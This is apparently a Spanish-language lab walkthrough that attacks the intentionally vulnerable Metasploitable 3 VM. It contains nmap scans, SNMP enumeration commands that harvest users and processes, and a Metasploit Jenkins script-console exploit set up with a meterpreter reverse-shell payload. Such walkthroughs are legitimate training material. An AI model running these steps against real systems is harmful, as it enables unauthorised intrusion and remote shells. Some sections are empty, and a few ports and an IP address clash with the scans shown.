Metasploitable 3 - Rapid7
Algunas vulnerabilidades que encontramos en Metasploitable 3
Vulnerabilidades a explotar en esta máquina
Esta maquina diseñada por Rapid7 tiene varias vulnerabilidades que podemos explotar para conseguir acceso a un sistema de administración.
Para este escenario vamos a realizar un escaneo de puertos y seleccionar 3 vulnerabilidades para explotar.
Escanep de puertos
1
nmap -sS -sV -O -n -Pn 192.168.100.53
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-01 11:22 CET
Nmap scan report for 192.168.100.53
Host is up (0.00046s latency).
Not shown: 974 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
22/tcp open ssh OpenSSH 7.1 (protocol 2.0)
80/tcp open http Microsoft IIS httpd 7.5
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3306/tcp open mysql MySQL 5.5.20-log
3389/tcp open tcpwrapped
4848/tcp open ssl/http Oracle GlassFish 4.0 (Servlet 3.1; JSP 2.3; Java 1.8)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
7676/tcp open java-message-service Java Message Service 301
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8022/tcp open http Apache Tomcat/Coyote JSP engine 1.1
8031/tcp open ssl/unknown
8080/tcp open http Sun GlassFish Open Source Edition 4.0
8181/tcp open ssl/intermapper?
8383/tcp open http Apache httpd
8443/tcp open ssl/https-alt?
9200/tcp open http Elasticsearch REST API 1.1.1 (name: Warren III Worthington; Lucene 4.7)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49158/tcp open unknown
49161/tcp open msrpc Microsoft Windows RPC
49165/tcp open java-rmi Java RMI
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8181-TCP:V=7.95%T=SSL%I=7%D=2/1%Time=679DF609%P=x86_64-pc-linux-gnu
SF:%r(GetRequest,128C,"HTTP/1\.1\x20200\x20OK\r\nDate:\x20Sat,\x2001\x20Fe
SF:b\x202025\x2010:23:05\x20GMT\r\nContent-Type:\x20text/html\r\nConnectio
SF:n:\x20close\r\nContent-Length:\x204626\r\n\r\n<!DOCTYPE\x20HTML\x20PUBL
SF:IC\x20\"-//W3C//DTD\x20HTML\x204\.01\x20Transitional//EN\">\n<html\x20l
SF:ang=\"en\">\n<!--\nDO\x20NOT\x20ALTER\x20OR\x20REMOVE\x20COPYRIGHT\x20N
SF:OTICES\x20OR\x20THIS\x20HEADER\.\n\nCopyright\x20\(c\)\x202010,\x202013
SF:\x20Oracle\x20and/or\x20its\x20affiliates\.\x20All\x20rights\x20reserve
SF:d\.\n\nUse\x20is\x20subject\x20to\x20License\x20Terms\n-->\n<head>\n<st
SF:yle\x20type=\"text/css\">\n\tbody{margin-top:0}\n\tbody,td,p,div,span,a
SF:,ul,ul\x20li,\x20ol,\x20ol\x20li,\x20ol\x20li\x20b,\x20dl,h1,h2,h3,h4,h
SF:5,h6,li\x20{font-family:geneva,helvetica,arial,\"lucida\x20sans\",sans-
SF:serif;\x20font-size:10pt}\n\th1\x20{font-size:18pt}\n\th2\x20{font-size
SF::14pt}\n\th3\x20{font-size:12pt}\n\tcode,kbd,tt,pre\x20{font-family:mon
SF:aco,courier,\"courier\x20new\";\x20font-size:10pt;}\n\tli\x20{padding-b
SF:ottom:\x208px}\n\tp\.copy,\x20p\.copy\x20a\x20{font-family:geneva,helve
SF:tica,arial,\"lucida\x20sans\",sans-serif;\x20font-size:8pt}\n\tp\.copy\
SF:x20{text-align:\x20center}\n\ttable\.grey1,tr\.grey1,td\.g");
MAC Address: 08:00:27:A9:33:FD (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Microsoft Windows 2008|7|Vista|8.1
OS CPE: cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_vista cpe:/o:microsoft:windows_8.1
OS details: Microsoft Windows Vista SP2 or Windows 7 or Windows Server 2008 R2 or Windows 8.1
Network Distance: 1 hop
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Como podemos ver es una maquina con multiples servicios y puertos abiertos.
Servicios que vamos a explotar
- 9200/tcp open http Elasticsearch REST API 1.1.1 (name: Warren III Worthington; Lucene 4.7)
- 161/tcp open snmp Simple Network Management Protocol
- 8484/tcp open http Jetty httpd
Elasticsearch
Investigando el servicio
Si navegamos al servicio en el puerto 9200 podemos ver que nos devuelve la inforamción del REST API de Elasticsearch.
Investignado un poco por internet podemos encontrar como funciona la API REST de Elasticsearch y como interactuar con ella.
Documentación de Elasticsearch
Rápidamente encontramos también una vulnerabilidad que afecta a las versiones anteriores a la 1.2. Es una vulnerabilidad existente por una mala configuración por defecto que permite la carga de scripts dinámicos en el servidor.
Esto permite la ejecución de código arbitrario en el servidor haciendo uso de expresiones MVEL (MVFLEX Expression Language) y Java mediante el parámetro fuente para _search.
Lenguaje de expresiones MVEL
Es un lenguaje de expresión y scripting desarrollado para Java. Se conforma como un lenguaje hibrido entre expresiones y scripting.
Buscando exploits
Ahora que sabemos el CVE de la vulnerabilidad en cuestion, podemos buscar exploits para ella.
Metasploit
Ganando acceso
SNMP
SNMP (Simple Network Management Protocol) es un protocolo estándar utilizado para la administración y monitoreo de dispositivos de red.
Permite obtener datos sobre el estado, rendimiento y configuración de dispositivos de red como routers, switches, impresoras y servidores.
Facilita la supervisión del funcionamiento de la infraestructura de red, detectando problemas y permitiendo su diagnóstico remoto.
- Comunicación entre dispositivos: Utiliza un modelo cliente-servidor donde:
- Agentes SNMP instalados en los dispositivos recopilan información local
- Un gestor de red central puede consultar estos agentes para obtener datos
- Tipos de operaciones principales:
- GET: Obtener valores de variables específicas
- SET: Modificar configuraciones de dispositivos
- TRAP: Envío de alertas automáticas cuando ocurren eventos importantes
- Versiones:
- SNMPv1: Primera versión básica
- SNMPv2c: Añadió mejoras de rendimiento
- SNMPv3: Agregó importantes mejoras de seguridad
Es una herramienta esencial para la administración eficiente de redes informáticas.
Sabiendo esto podemos investigar y extraer información si el servidor de SNMP está abierto sin autenticación o mal configurado.
Investigando el servicio
Si nos fijamos en el primer escaneo de puertos, el servicio SNMP no se muestra. Esto es debido a que utiliza el protocolo UDP y el escaneo realizado anteriormente ha sido únicamente de protocolos TCP.
Escaneando puertos UDP
1
nmap -sU -sV -O -n -Pn 10.10.19.146
1
nmap -sU -sV 192.168.100.53
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-01 13:56 CET
Nmap scan report for 192.168.100.53
Host is up (0.00046s latency).
Not shown: 993 closed udp ports (port-unreach)
PORT STATE SERVICE VERSION
137/udp open netbios-ns Microsoft Windows netbios-ns (workgroup: WORKGROUP)
138/udp open|filtered netbios-dgm
161/udp open snmp SNMPv1 server (public)
500/udp open|filtered isakmp
4500/udp open|filtered nat-t-ike
5353/udp open|filtered zeroconf
5355/udp open|filtered llmnr
MAC Address: 08:00:27:A9:33:FD (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Hosts: METASPLOITABLE3, metasploitable3-win2k8; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1170.47 seconds
Obteniendo información del servidor
Un puerto sirviendo SNMP mal configurado puede ser utilizado para extraer información del servidor como rutas de ejecutables, software instalados, procesos en ejecución, etc.
1
2
3
4
5
6
7
8
9
10
11
12
13
# Escaneo básico con la comunidad public
snmpwalk -c public -v1 <IP_objetivo>
# Escaneo con versión 2c
snmpwalk -c public -v2c <IP_objetivo>
# Escaneo básico de SNMP
nmap -sU -p 161 <IP_objetivo>
# Escaneo con scripts específicos de SNMP
nmap -sU -p 161 --script=snmp-* <IP_objetivo>
snmp-check <IP_objetivo>
Puertos de escucha locales
Información de la máquina y usuarios
Procesos en ejecución
Esto mismo se puede hacer con metasploit
Algo muy util para investigar y extraer información de la máquina y otros servicios expuestos que a lo mejor nmap no ha conseguido extraer.
Extrayendo usuarios
Ahora que tenemos una lista de usuarios del sistema podemos intentar ataques de fuerza bruta o extracción de hashes.
Teniendo usuarios y la información del estado de la red en el servidor podemos buscar algún servicio interesante para explotar.
Jenkins
Aprovechando la información que nos ha brindado el servicio SNMP podemos buscar algún servicio interesante que a priori no se había encontrado.
Escaneo de nmap
Investigando el servicio
- Portal web de Jenkins
Investigando en el portal web podemos encontrar la version de Jenkins que se está ejecutando, Jenkins ver. 1.637.
Parece que esta versión cuenta con una vulnerabilidad de ejecución remota de comandos (RCE) en java, haciendo uso del script Jenkins-CI Groovy.
Explotando la vulnerabilidad
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
msf6 auxiliary(scanner/winrm/winrm_login) > use 20
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(multi/http/jenkins_script_console) > options
Module options (exploit/multi/http/jenkins_script_console):
Name Current Setting Required Description
---- --------------- -------- -----------
API_TOKEN no The API token for the specified username
PASSWORD no The password for the specified username
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI /jenkins/ yes The path to the Jenkins-CI application
URIPATH no The URI to use for this exploit (default is random)
USERNAME no The username to authenticate as
VHOST no HTTP server virtual host
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.100.210 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows
View the full module info with the info, or info -d command.
msf6 exploit(multi/http/jenkins_script_console) > set RHOSTS 192.168.100.53
RHOSTS => 192.168.100.53
msf6 exploit(multi/http/jenkins_script_console) > set TARGETURI /
TARGETURI => /
msf6 exploit(multi/http/jenkins_script_console) > set RPORT 8484
RPORT => 8484